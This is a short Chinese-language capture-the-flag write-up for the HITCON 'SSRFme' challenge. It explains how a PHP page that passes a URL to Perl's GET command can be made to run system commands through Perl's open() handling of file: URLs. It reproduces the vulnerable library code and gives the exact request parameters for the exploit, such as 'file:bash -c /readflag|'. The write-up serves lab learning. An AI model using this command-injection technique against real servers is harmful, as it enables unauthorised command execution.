题目来自 [HITCON ]SSRFme
代码的思路很简单,就是会先建一个文件夹
sandbox/md5(orange+ip)
,然后将url的值写到filename文件中
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));这行代码开始以为就是GET请求,所以想到了file协议去读文件,但这种做法是错误的
简单记录一下perl脚本GET系统命令执行
的学习
简单来看看使用GET如何来执行系统命令。具体为啥原因我也说不上来,大概就是open函数支持file协议
perl里的GET函数底层就是调用了open处理
要执行的命令首先必须要有该文件存在,以命令为文件名的文件存在
ubuntu18.04 已经修复此漏洞
修复的方式是在下面第三行代码中,open中间加了个参数’<’
if ($method ne "HEAD") {open(my $fh,'<', $path) or return new ##就是这里出了问题HTTP::Response(HTTP::Status::RC_INTERNAL_SERVER_ERROR,"Cannot read file '$path': $!");binmode($fh);$response = $self->collect($arg, $response, sub {my $content = "";my $bytes = sysread($fh, $content, $size);return \$content if $bytes > 0;return \ "";});close($fh);}$response;}
暂且删掉这个<
不管他
利用file:bash -c "cmd string"来读文件
?url=/&filename=aaa
之前提到要 open函数 执行命令首先就是必须存在这个文件,那么我们首先就是要创建一个以命令命名的文件,然后再去执行
创建 bash -c /readflag| 命名的文件?url=&filename=bash -c /readflag|利用GET执行 bash -c /readflag| 并且写到 文件aaa中?url=file:bash -c /readflag|&filename=aaa最后访问 sandbox/md5(orange+ip)/aaa 就可以了
然后就是|
,这个应该是个分界符的意思,因为他放在前面也是可以的,比如| /readflag
也不是很清楚,就简单记录一下,详细的可以看看这个大佬写的
-------------------perl脚本GET执行系统命令---------------------